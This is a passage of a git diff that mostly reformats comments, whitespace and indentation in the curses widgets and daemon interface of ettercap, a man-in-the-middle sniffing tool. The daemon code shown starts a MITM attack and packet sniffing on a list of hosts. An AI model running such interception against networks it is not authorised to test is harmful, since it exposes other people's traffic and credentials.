...) /* EOF */ // vim:ts=3:expandtab - diff --git a/src/interfaces/curses/widgets/wdg_percentage.c b/src/interfaces/curses/widgets/wdg_percentage.c index 080074c52..0a6a1c05b 100644 --- a/src/interfaces/curses/widgets/wdg_percentage.c +++ b/src/interfaces/curses/widgets/wdg_percentage.c @@ -1,23 +1,23 @@ /* - WDG -- percentage widget - - Copyright (C) ALoR - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * WDG -- percentage widget + * + * Copyright (C) ALoR + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include @@ -48,13 +48,13 @@ static void wdg_percentage_border(struct wdg_object *wo); /*******************************************/ -/* +/* * called to create a window */ void wdg_create_percentage(struct wdg_object *wo) { WDG_DEBUG_MSG("wdg_create_percentage"); - + /* set the callbacks */ wo->destroy = wdg_percentage_destroy; wo->resize = wdg_percentage_resize; @@ -66,7 +66,7 @@ void wdg_create_percentage(struct wdg_object *wo) WDG_SAFE_CALLOC(wo->extend, 1, sizeof(struct wdg_percentage)); } -/* +/* * called to destroy a window */ static int wdg_percentage_destroy(struct wdg_object *wo) @@ -82,7 +82,7 @@ static int wdg_percentage_destroy(struct wdg_object *wo) werase(ww->win); wnoutrefresh(ww->sub); wnoutrefresh(ww->win); - + /* dealloc the structures */ delwin(ww->sub); delwin(ww->win); @@ -92,7 +92,7 @@ static int wdg_percentage_destroy(struct wdg_object *wo) return WDG_E_SUCCESS; } -/* +/* * called to resize a window */ static int wdg_percentage_resize(struct wdg_object *wo) @@ -102,7 +102,7 @@ static int wdg_percentage_resize(struct wdg_object *wo) return WDG_E_SUCCESS; } -/* +/* * called to redraw a window */ static int wdg_percentage_redraw(struct wdg_object *wo) @@ -110,7 +110,7 @@ static int wdg_percentage_redraw(struct wdg_object *wo) WDG_WO_EXT(struct wdg_percentage, ww); size_t c, l, x, y; size_t cols; - + /* calculate the dimension and position */ cols = strlen(wo->title) + 2; @@ -123,16 +123,16 @@ static int wdg_percentage_redraw(struct wdg_object *wo) wo->x1 = 0; else wo->x1 = (current_screen.cols - (cols + 4)) / 2; - + wo->y1 = (current_screen.lines - 7) / 2; wo->x2 = -wo->x1; wo->y2 = -wo->y1; - + c = wdg_get_ncols(wo); l = wdg_get_nlines(wo); x = wdg_get_begin_x(wo); y = wdg_get_begin_y(wo); - + /* the window already exist */ if (ww->win) { /* erase the border */ @@ -140,19 +140,19 @@ static int wdg_percentage_redraw(struct wdg_object *wo) werase(ww->win); touchwin(ww->win); wnoutrefresh(ww->win); - + /* resize the window and draw the new border */ mvwin(ww->win, y, x); wresize(ww->win, l, c); wdg_percentage_border(wo); - + /* resize the actual window and touch it */ mvwin(ww->sub, y + 1, x + 1); wresize(ww->sub, l - 2, c - 2); /* set the window color */ wbkgdset(ww->sub, COLOR_PAIR(wo->window_color)); - /* the first time we have to allocate the window */ + /* the first time we have to allocate the window */ } else { /* create the outher window */ @@ -165,7 +165,7 @@ static int wdg_percentage_redraw(struct wdg_object *wo) /* create the inner (actual) window */ if ((ww->sub = newwin(l - 2, c - 2, y + 1, x + 1)) == NULL) return -WDG_E_FATAL; - + /* set the window color */ wbkgdset(ww->sub, COLOR_PAIR(wo->window_color)); werase(ww->sub); @@ -175,21 +175,20 @@ static int wdg_percentage_redraw(struct wdg_object *wo) wmove(ww->sub, 0, 0); scrollok(ww->sub, TRUE); - } - + /* refresh the window */ redrawwin(ww->sub); redrawwin(ww->win); wnoutrefresh(ww->win); wnoutrefresh(ww->sub); - + wo->flags |= WDG_OBJ_VISIBLE; return WDG_E_SUCCESS; } -/* +/* * called when the window gets the focus */ static int wdg_percentage_get_focus(struct wdg_object *wo) @@ -199,59 +198,59 @@ static int wdg_percentage_get_focus(struct wdg_object *wo) /* redraw the window */ wdg_percentage_redraw(wo); - + return WDG_E_SUCCESS; } -/* +/* * called when the window looses the focus */ static int wdg_percentage_lost_focus(struct wdg_object *wo) { /* set the flag */ wo->flags &= ~WDG_OBJ_FOCUSED; - + /* redraw the window */ wdg_percentage_redraw(wo); - + return WDG_E_SUCCESS; } -/* +/* * called by the messages dispatcher when the window is focused */ static int wdg_percentage_get_msg(struct wdg_object *wo, int key, struct wdg_mouse_event *mouse) { WDG_WO_EXT(struct wdg_percentage, ww); - + /* handle the message */ switch (key) { - case KEY_MOUSE: - /* is the mouse event within our edges ? */ - if (wenclose(ww->win, mouse->y, mouse->x)) - wdg_set_focus(wo); - else - return -WDG_E_NOTHANDLED; - break; - - case KEY_ESC: - case CTRL('Q'): - WDG_DEBUG_MSG("wdg_percentage_get_msg: user interrupt"); - /* - * user has requested to stop this task. - * the next time the percentage will be set - * the object will be destroyed and a correct value - * will be returned. - */ - ww->interrupt = 1; - break; - - /* message not handled */ - default: + case KEY_MOUSE: + /* is the mouse event within our edges ? */ + if (wenclose(ww->win, mouse->y, mouse->x)) + wdg_set_focus(wo); + else return -WDG_E_NOTHANDLED; - break; + break; + + case KEY_ESC: + case CTRL('Q'): + WDG_DEBUG_MSG("wdg_percentage_get_msg: user interrupt"); + /* + * user has requested to stop this task. + * the next time the percentage will be set + * the object will be destroyed and a correct value + * will be returned. + */ + ww->interrupt = 1; + break; + + /* message not handled */ + default: + return -WDG_E_NOTHANDLED; + break; } - + return WDG_E_SUCCESS; } @@ -262,7 +261,7 @@ static void wdg_percentage_border(struct wdg_object *wo) { WDG_WO_EXT(struct wdg_percentage, ww); size_t c = wdg_get_ncols(wo); - + /* the object was focused */ if (wo->flags & WDG_OBJ_FOCUSED) { wattron(ww->win, A_BOLD); @@ -272,16 +271,16 @@ static void wdg_percentage_border(struct wdg_object *wo) /* draw the borders */ box(ww->win, 0, 0); - + /* set the title color */ wbkgdset(ww->win, COLOR_PAIR(wo->title_color)); - + /* there is a title: print it */ if (wo->title) { wmove(ww->sub, 1, 2); wprintw(ww->sub, wo->title); } - + /* restore the attribute */ if (wo->flags & WDG_OBJ_FOCUSED) wattroff(ww->win, A_BOLD); @@ -289,11 +288,11 @@ static void wdg_percentage_border(struct wdg_object *wo) /* draw the percentage bar */ wmove(ww->sub, 3, 2); whline(ww->sub, ACS_CKBOARD, c - 6); - + wbkgdset(ww->sub, COLOR_PAIR(wo->title_color)); - //wattron(ww->sub, A_REVERSE); + // wattron(ww->sub, A_REVERSE); whline(ww->sub, ' ', ww->percent * (c - 6) / 100); - //wattroff(ww->sub, A_REVERSE); + // wattroff(ww->sub, A_REVERSE); } /* @@ -305,7 +304,7 @@ int wdg_percentage_set(wdg_t *wo, size_t p, size_t max) /* set the percentage */ ww->percent = p * 100 / max; - + WDG_DEBUG_MSG("wdg_percentage_set: %d", ww->percent); wdg_percentage_redraw(wo); @@ -324,7 +323,7 @@ int wdg_percentage_set(wdg_t *wo, size_t p, size_t max) ww->interrupt = 0; wdg_destroy_object(&wo); wdg_redraw_all(); - return WDG_PERCENTAGE_INTERRUPTED; + return WDG_PERCENTAGE_INTERRUPTED; } return WDG_PERCENTAGE_UPDATED; @@ -333,4 +332,3 @@ int wdg_percentage_set(wdg_t *wo, size_t p, size_t max) /* EOF */ // vim:ts=3:expandtab - diff --git a/src/interfaces/curses/widgets/wdg_scroll.c b/src/interfaces/curses/widgets/wdg_scroll.c index 356c46033..d89bd0232 100644 --- a/src/interfaces/curses/widgets/wdg_scroll.c +++ b/src/interfaces/curses/widgets/wdg_scroll.c @@ -1,23 +1,23 @@ /* - WDG -- scroll widget - - Copyright (C) ALoR - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * WDG -- scroll widget + * + * Copyright (C) ALoR + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include @@ -53,13 +53,13 @@ static void wdg_mouse_scroll(struct wdg_object *wo, int s); /*******************************************/ -/* +/* * called to create a window */ void wdg_create_scroll(struct wdg_object *wo) { WDG_DEBUG_MSG("wdg_create_scroll"); - + /* set the callbacks */ wo->destroy = wdg_scroll_destroy; wo->resize = wdg_scroll_resize; @@ -71,13 +71,13 @@ void wdg_create_scroll(struct wdg_object *wo) WDG_SAFE_CALLOC(wo->extend, 1, sizeof(struct wdg_scroll)); } -/* +/* * called to destroy a window */ static int wdg_scroll_destroy(struct wdg_object *wo) { WDG_WO_EXT(struct wdg_scroll, ww); - + WDG_DEBUG_MSG("wdg_scroll_destroy"); /* erase the window */ @@ -86,7 +86,7 @@ static int wdg_scroll_destroy(struct wdg_object *wo) werase(ww->sub); werase(ww->win); wnoutrefresh(ww->win); - + /* dealloc the structures */ delwin(ww->sub); delwin(ww->win); @@ -96,7 +96,7 @@ static int wdg_scroll_destroy(struct wdg_object *wo) return WDG_E_SUCCESS; } -/* +/* * called to resize a window */ static int wdg_scroll_resize(struct wdg_object *wo) @@ -106,7 +106,7 @@ static int wdg_scroll_resize(struct wdg_object *wo) return WDG_E_SUCCESS; } -/* +/* * called to redraw a window */ static int wdg_scroll_redraw(struct wdg_object *wo) @@ -116,9 +116,9 @@ static int wdg_scroll_redraw(struct wdg_object *wo) size_t l = wdg_get_nlines(wo); size_t x = wdg_get_begin_x(wo); size_t y = wdg_get_begin_y(wo); - + WDG_DEBUG_MSG("wdg_scroll_redraw"); - + /* the window already exist */ if (ww->win) { /* erase the border */ @@ -126,12 +126,12 @@ static int wdg_scroll_redraw(struct wdg_object *wo) werase(ww->win); touchwin(ww->win); wnoutrefresh(ww->win); - + /* resize the window and draw the new border */ mvwin(ww->win, y, x); wresize(ww->win, l, c); wdg_scroll_border(wo); - + /* set the window color */ wbkgd(ww->sub, COLOR_PAIR(wo->window_color)); touchwin(ww->sub); @@ -141,9 +141,9 @@ static int wdg_scroll_redraw(struct wdg_object *wo) /* refresh it */ WDG_PAD_REFRESH(ww, c, l, x, y); - /* the first time we have to allocate the window */ + /* the first time we have to allocate the window */ } else { - + /* a default value waiting for wdg_scroll_set_lines() */ ww->y_max = l * 5; @@ -155,11 +155,11 @@ static int wdg_scroll_redraw(struct wdg_object *wo) wdg_scroll_border(wo); /* initialize the pointer */ wdg_set_scroll(wo, ww->y_max - l + 1); - + /* create the inner (actual) window */ if ((ww->sub = newpad(ww->y_max, c - 2)) == NULL) return -WDG_E_FATAL; - + /* set the window color */ wbkgd(ww->sub, COLOR_PAIR(wo->window_color)); touchwin(ww->sub); @@ -170,18 +170,18 @@ static int wdg_scroll_redraw(struct wdg_object *wo) /* permit scroll in the pad */ scrollok(ww->sub, TRUE); } - + /* refresh the window */ touchwin(ww->sub); wnoutrefresh(ww->win); WDG_PAD_REFRESH(ww, c, l, x, y); - + wo->flags |= WDG_OBJ_VISIBLE; return WDG_E_SUCCESS; } -/* +/* * called when the window gets the focus */ static int wdg_scroll_get_focus(struct wdg_object *wo) @@ -191,25 +191,25 @@ static int wdg_scroll_get_focus(struct wdg_object *wo) /* redraw the window */ wdg_scroll_redraw(wo); - + return WDG_E_SUCCESS; } -/* +/* * called when the window looses the focus */ static int wdg_scroll_lost_focus(struct wdg_object *wo) { /* set the flag */ wo->flags &= ~WDG_OBJ_FOCUSED; - + /* redraw the window */ wdg_scroll_redraw(wo); - + return WDG_E_SUCCESS; } -/* +/* * called by the messages dispatcher when the window is focused */ static int wdg_scroll_get_msg(struct wdg_object *wo, int key, struct wdg_mouse_event *mouse) @@ -219,56 +219,56 @@ static int wdg_scroll_get_msg(struct wdg_object *wo, int key, struct wdg_mouse_e size_t l = wdg_get_nlines(wo); size_t x = wdg_get_begin_x(wo); size_t y = wdg_get_begin_y(wo); - + /* handle the message */ switch (key) { - - case KEY_MOUSE: - /* is the mouse event within our edges ? */ - if (wenclose(ww->win, mouse->y, mouse->x)) { - /* get the focus only if it was not focused */ - if (!(wo->flags & WDG_OBJ_FOCUSED)) - wdg_set_focus(wo); - if (mouse->x == x + c - 1 && (mouse->y >= y + 1 && mouse->y <= y + l - 1)) { - wdg_mouse_scroll(wo, mouse->y); - WDG_PAD_REFRESH(ww, c, l, x, y); - wnoutrefresh(ww->win); - } - } else - return -WDG_E_NOTHANDLED; - break; - /* handle scrolling of the pad */ - case KEY_UP: - wdg_set_scroll(wo, ww->y_scroll - 1); - WDG_PAD_REFRESH(ww, c, l, x, y); - wnoutrefresh(ww->win); - break; - - case KEY_DOWN: - wdg_set_scroll(wo, ww->y_scroll + 1); - WDG_PAD_REFRESH(ww, c, l, x, y); - wnoutrefresh(ww->win); - break; - - case KEY_NPAGE: - wdg_set_scroll(wo, ww->y_scroll + (l - 2)); - WDG_PAD_REFRESH(ww, c, l, x, y); - wnoutrefresh(ww->win); - break; - - case KEY_PPAGE: - wdg_set_scroll(wo, ww->y_scroll - (l - 2)); - WDG_PAD_REFRESH(ww, c, l, x, y); - wnoutrefresh(ww->win); - break; - - /* message not handled */ - default: + case KEY_MOUSE: + /* is the mouse event within our edges ? */ + if (wenclose(ww->win, mouse->y, mouse->x)) { + /* get the focus only if it was not focused */ + if (!(wo->flags & WDG_OBJ_FOCUSED)) + wdg_set_focus(wo); + if (mouse->x == x + c - 1 && (mouse->y >= y + 1 && mouse->y <= y + l - 1)) { + wdg_mouse_scroll(wo, mouse->y); + WDG_PAD_REFRESH(ww, c, l, x, y); + wnoutrefresh(ww->win); + } + } else return -WDG_E_NOTHANDLED; - break; + break; + + /* handle scrolling of the pad */ + case KEY_UP: + wdg_set_scroll(wo, ww->y_scroll - 1); + WDG_PAD_REFRESH(ww, c, l, x, y); + wnoutrefresh(ww->win); + break; + + case KEY_DOWN: + wdg_set_scroll(wo, ww->y_scroll + 1); + WDG_PAD_REFRESH(ww, c, l, x, y); + wnoutrefresh(ww->win); + break; + + case KEY_NPAGE: + wdg_set_scroll(wo, ww->y_scroll + (l - 2)); + WDG_PAD_REFRESH(ww, c, l, x, y); + wnoutrefresh(ww->win); + break; + + case KEY_PPAGE: + wdg_set_scroll(wo, ww->y_scroll - (l - 2)); + WDG_PAD_REFRESH(ww, c, l, x, y); + wnoutrefresh(ww->win); + break; + + /* message not handled */ + default: + return -WDG_E_NOTHANDLED; + break; } - + return WDG_E_SUCCESS; } @@ -279,7 +279,7 @@ static void wdg_scroll_border(struct wdg_object *wo) { WDG_WO_EXT(struct wdg_scroll, ww); size_t c = wdg_get_ncols(wo); - + /* the object was focused */ if (wo->flags & WDG_OBJ_FOCUSED) { wattron(ww->win, A_BOLD); @@ -292,26 +292,26 @@ static void wdg_scroll_border(struct wdg_object *wo) /* draw the elevator */ wdg_set_scroll(wo, ww->y_scroll); - + /* set the title color */ wbkgdset(ww->win, COLOR_PAIR(wo->title_color)); - + /* there is a title: print it */ if (wo->title) { switch (wo->align) { - case WDG_ALIGN_LEFT: - wmove(ww->win, 0, 3); - break; - case WDG_ALIGN_CENTER: - wmove(ww->win, 0, (c - strlen(wo->title)) / 2); - break; - case WDG_ALIGN_RIGHT: - wmove(ww->win, 0, c - strlen(wo->title) - 3); - break; + case WDG_ALIGN_LEFT: + wmove(ww->win, 0, 3); + break; + case WDG_ALIGN_CENTER: + wmove(ww->win, 0, (c - strlen(wo->title)) / 2); + break; + case WDG_ALIGN_RIGHT: + wmove(ww->win, 0, c - strlen(wo->title) - 3); + break; } wprintw(ww->win, wo->title); } - + /* restore the attribute */ if (wo->flags & WDG_OBJ_FOCUSED) { wattroff(ww->win, A_BOLD); @@ -330,9 +330,9 @@ void wdg_scroll_erase(wdg_t *wo) size_t l = wdg_get_nlines(wo); size_t x = wdg_get_begin_x(wo); size_t y = wdg_get_begin_y(wo); - + werase(ww->sub); - + WDG_PAD_REFRESH(ww, c, l, x, y); } @@ -347,7 +347,7 @@ void wdg_scroll_print(wdg_t *wo, int color, char *fmt, ...) size_t x = wdg_get_begin_x(wo); size_t y = wdg_get_begin_y(wo); va_list ap; - + WDG_DEBUG_MSG("wdg_scroll_print"); /* move to the bottom of the pad */ @@ -359,9 +359,9 @@ void wdg_scroll_print(wdg_t *wo, int color, char *fmt, ...) va_start(ap, fmt); vw_printw(ww->sub, fmt, ap); va_end(ap); - + wbkgdset(ww->sub, COLOR_PAIR(wo->window_color)); - + WDG_PAD_REFRESH(ww, c, l, x, y); } @@ -374,23 +374,23 @@ void wdg_scroll_set_lines(wdg_t *wo, size_t lines) size_t c = wdg_get_ncols(wo); size_t l = wdg_get_nlines(wo); size_t oldlines = ww->y_max; - + WDG_DEBUG_MSG("wdg_scroll_set_lines"); - + /* resize the pad */ wresize(ww->sub, lines, c - 2); - + /* do the proper adjustements to the scroller */ ww->y_max = lines; wdg_set_scroll(wo, ww->y_max - l + 1); - + /* adjust only the first time (when the user requests the change) */ if (oldlines != lines) wmove(ww->sub, ww->y_scroll + 1, 0); } /* - * set the scroll pointer and redraw + * set the scroll pointer and redraw * the window elevator */ static void wdg_set_scroll(struct wdg_object *wo, int s) @@ -401,11 +401,11 @@ static void wdg_set_scroll(struct wdg_object *wo, int s) int min = 0; int max = ww->y_max - l + 1; size_t height, vpos; - + /* don't go above max and below min */ if (s < min) s = min; if (s > max) s = max; - + ww->y_scroll = s; /* compute the scroller cohordinates */ @@ -428,11 +428,10 @@ static void wdg_set_scroll(struct wdg_object *wo, int s) wmove(ww->win, vpos, c - 1); wvline(ww->win, ACS_DIAMOND, height); wattroff(ww->win, A_REVERSE); - } /* - * jump to a scroll position with the mouse + * jump to a scroll position with the mouse */ static void wdg_mouse_scroll(struct wdg_object *wo, int s) { @@ -457,8 +456,6 @@ static void wdg_mouse_scroll(struct wdg_object *wo, int s) wdg_set_scroll(wo, s); } - /* EOF */ // vim:ts=3:expandtab - diff --git a/src/interfaces/curses/widgets/wdg_window.c b/src/interfaces/curses/widgets/wdg_window.c index ba08a972a..aa507d55a 100644 --- a/src/interfaces/curses/widgets/wdg_window.c +++ b/src/interfaces/curses/widgets/wdg_window.c @@ -1,23 +1,23 @@ /* - WDG -- window widget - - Copyright (C) ALoR - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * WDG -- window widget + * + * Copyright (C) ALoR + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include @@ -46,13 +46,13 @@ static void wdg_window_border(struct wdg_object *wo); /*******************************************/ -/* +/* * called to create a window */ void wdg_create_window(struct wdg_object *wo) { WDG_DEBUG_MSG("wdg_create_window"); - + /* set the callbacks */ wo->destroy = wdg_window_destroy; wo->resize = wdg_window_resize; @@ -64,13 +64,13 @@ void wdg_create_window(struct wdg_object *wo) WDG_SAFE_CALLOC(wo->extend, 1, sizeof(struct wdg_window)); } -/* +/* * called to destroy a window */ static int wdg_window_destroy(struct wdg_object *wo) { WDG_WO_EXT(struct wdg_window, ww); - + WDG_DEBUG_MSG("wdg_window_destroy (%p)", wo); /* erase the window */ @@ -80,7 +80,7 @@ static int wdg_window_destroy(struct wdg_object *wo) werase(ww->win); wnoutrefresh(ww->sub); wnoutrefresh(ww->win); - + /* dealloc the structures */ delwin(ww->sub); delwin(ww->win); @@ -90,7 +90,7 @@ static int wdg_window_destroy(struct wdg_object *wo) return WDG_E_SUCCESS; } -/* +/* * called to resize a window */ static int wdg_window_resize(struct wdg_object *wo) @@ -100,7 +100,7 @@ static int wdg_window_resize(struct wdg_object *wo) return WDG_E_SUCCESS; } -/* +/* * called to redraw a window */ static int wdg_window_redraw(struct wdg_object *wo) @@ -110,9 +110,9 @@ static int wdg_window_redraw(struct wdg_object *wo) size_t l = wdg_get_nlines(wo); size_t x = wdg_get_begin_x(wo); size_t y = wdg_get_begin_y(wo); - + WDG_DEBUG_MSG("wdg_window_redraw"); - + /* the window already exist */ if (ww->win) { /* erase the border */ @@ -120,19 +120,19 @@ static int wdg_window_redraw(struct wdg_object *wo) werase(ww->win); touchwin(ww->win); wnoutrefresh(ww->win); - + /* resize the window and draw the new border */ mvwin(ww->win, y, x); wresize(ww->win, l, c); wdg_window_border(wo); - + /* resize the actual window and touch it */ mvwin(ww->sub, y + 1, x + 1); wresize(ww->sub, l - 2, c - 2); /* set the window color */ wbkgd(ww->sub, COLOR_PAIR(wo->window_color)); - /* the first time we have to allocate the window */ + /* the first time we have to allocate the window */ } else { /* create the outher window */ @@ -145,7 +145,7 @@ static int wdg_window_redraw(struct wdg_object *wo) /* create the inner (actual) window */ if ((ww->sub = newwin(l - 2, c - 2, y + 1, x + 1)) == NULL) return -WDG_E_FATAL; - + /* set the window color */ wbkgd(ww->sub, COLOR_PAIR(wo->window_color)); werase(ww->sub); @@ -155,21 +155,20 @@ static int wdg_window_redraw(struct wdg_object *wo) wmove(ww->sub, 0, 0); scrollok(ww->sub, TRUE); - } - + /* refresh the window */ redrawwin(ww->sub); redrawwin(ww->win); wnoutrefresh(ww->win); wnoutrefresh(ww->sub); - + wo->flags |= WDG_OBJ_VISIBLE; return WDG_E_SUCCESS; } -/* +/* * called when the window gets the focus */ static int wdg_window_get_focus(struct wdg_object *wo) @@ -179,25 +178,25 @@ static int wdg_window_get_focus(struct wdg_object *wo) /* redraw the window */ wdg_window_redraw(wo); - + return WDG_E_SUCCESS; } -/* +/* * called when the window looses the focus */ static int wdg_window_lost_focus(struct wdg_object *wo) { /* set the flag */ wo->flags &= ~WDG_OBJ_FOCUSED; - + /* redraw the window */ wdg_window_redraw(wo); - + return WDG_E_SUCCESS; } -/* +/* * called by the messages dispatcher when the window is focused */ static int wdg_window_get_msg(struct wdg_object *wo, int key, struct wdg_mouse_event *mouse) @@ -206,20 +205,20 @@ static int wdg_window_get_msg(struct wdg_object *wo, int key, struct wdg_mouse_e /* handle the message */ switch (key) { - case KEY_MOUSE: - /* is the mouse event within our edges ? */ - if (wenclose(ww->win, mouse->y, mouse->x)) - wdg_set_focus(wo); - else - return -WDG_E_NOTHANDLED; - break; - - /* message not handled */ - default: + case KEY_MOUSE: + /* is the mouse event within our edges ? */ + if (wenclose(ww->win, mouse->y, mouse->x)) + wdg_set_focus(wo); + else return -WDG_E_NOTHANDLED; - break; + break; + + /* message not handled */ + default: + return -WDG_E_NOTHANDLED; + break; } - + return WDG_E_SUCCESS; } @@ -230,7 +229,7 @@ static void wdg_window_border(struct wdg_object *wo) { WDG_WO_EXT(struct wdg_window, ww); size_t c = wdg_get_ncols(wo); - + /* the object was focused */ if (wo->flags & WDG_OBJ_FOCUSED) { wattron(ww->win, A_BOLD); @@ -240,30 +239,29 @@ static void wdg_window_border(struct wdg_object *wo) /* draw the borders */ box(ww->win, 0, 0); - + /* set the title color */ wbkgdset(ww->win, COLOR_PAIR(wo->title_color)); - + /* there is a title: print it */ if (wo->title) { switch (wo->align) { - case WDG_ALIGN_LEFT: - wmove(ww->win, 0, 3); - break; - case WDG_ALIGN_CENTER: - wmove(ww->win, 0, (c - strlen(wo->title)) / 2); - break; - case WDG_ALIGN_RIGHT: - wmove(ww->win, 0, c - strlen(wo->title) - 3); - break; + case WDG_ALIGN_LEFT: + wmove(ww->win, 0, 3); + break; + case WDG_ALIGN_CENTER: + wmove(ww->win, 0, (c - strlen(wo->title)) / 2); + break; + case WDG_ALIGN_RIGHT: + wmove(ww->win, 0, c - strlen(wo->title) - 3); + break; } wprintw(ww->win, wo->title); } - + /* restore the attribute */ if (wo->flags & WDG_OBJ_FOCUSED) wattroff(ww->win, A_BOLD); - } /* @@ -273,10 +271,10 @@ void wdg_window_print(wdg_t *wo, size_t x, size_t y, char *fmt, ...) { WDG_WO_EXT(struct wdg_window, ww); va_list ap; - + /* move the pointer */ wmove(ww->sub, y, x); - + /* print the message */ va_start(ap, fmt); vw_printw(ww->sub, fmt, ap); @@ -288,4 +286,3 @@ void wdg_window_print(wdg_t *wo, size_t x, size_t y, char *fmt, ...) /* EOF */ // vim:ts=3:expandtab - diff --git a/src/interfaces/daemon/ec_daemon.c b/src/interfaces/daemon/ec_daemon.c index 00b2841b7..546569dd4 100644 --- a/src/interfaces/daemon/ec_daemon.c +++ b/src/interfaces/daemon/ec_daemon.c @@ -1,23 +1,23 @@ /* - ettercap -- daemonization (no GUI) - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * ettercap -- daemonization (no GUI) + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include #include @@ -45,7 +45,6 @@ static void daemonize(void); /*******************************************/ - void set_daemon_interface(void) { struct ui_ops ops; @@ -58,29 +57,27 @@ void set_daemon_interface(void) ops.fatal_error = &daemon_error; ops.progress = &daemon_progress; ops.type = UI_DAEMONIZE; - + ui_register(&ops); - } -/* +/* * initialization */ static void daemon_init(void) { - fd = open("./ettercap_demonized.log", O_CREAT|O_TRUNC|O_WRONLY, 0600); + fd = open("./ettercap_demonized.log", O_CREAT | O_TRUNC | O_WRONLY, 0600); ON_ERROR(fd, -1, "Can't open daemon log file"); - + /* daemonize ettercap */ daemonize(); } - /* * open a file and dup2 it to in, out and err. * - * in this way the user can track errors verified during + * in this way the user can track errors verified during * daemonization */ @@ -94,20 +91,19 @@ static void daemon_cleanup(void) fprintf(stdout, "\nettercap errors during daemonization are reported below:\n\n"); } - -/* - * implement the progress bar (none for daemon) +/* + * implement the progress bar (none for daemon) */ static int daemon_progress(char *title, int value, int max) { /* variable not used */ - (void) title; + (void)title; if (value == max) return UI_PROGRESS_FINISHED; else - return UI_PROGRESS_UPDATED; + return UI_PROGRESS_UPDATED; } /* discard the messages */ @@ -118,18 +114,17 @@ static void daemon_msg(const char *msg) return; } - /* print the message in the log */ static void daemon_error(const char *msg) { DEBUG_MSG("daemon_error: %s", msg); - + /* open the exit log file */ daemon_cleanup(); - + fprintf(stdout, "%s\n", msg); - + return; } @@ -145,19 +140,19 @@ void daemon_interface(void) /* check if the plugin exists */ if (search_plugin(plugin->name) != E_SUCCESS) plugin->exists = false; - USER_MSG("Sorry, plugin '%s' can not be found - skipping!\n\n", + USER_MSG("Sorry, plugin '%s' can not be found - skipping!\n\n", plugin->name); } - + /* build the list of active hosts */ build_hosts_list(); /* start the mitm attack */ mitm_start(); - + /* initialize the sniffing method */ EXECUTE(GBL_SNIFF->start); - + /* if we have to activate a plugin */ LIST_FOREACH_SAFE(plugin, &GBL_OPTIONS->plugins, next, tmp) { if (plugin->exists && plugin_init(plugin->name) != PLUGIN_RUNNING) @@ -171,11 +166,11 @@ void daemon_interface(void) ec_usleep(SEC2MICRO(1)); ui_msg_flush(MSG_ALL); } - /* NOT REACHED */ + /* NOT REACHED */ } /* - * set the terminal as non blocking + * set the terminal as non blocking */ static void 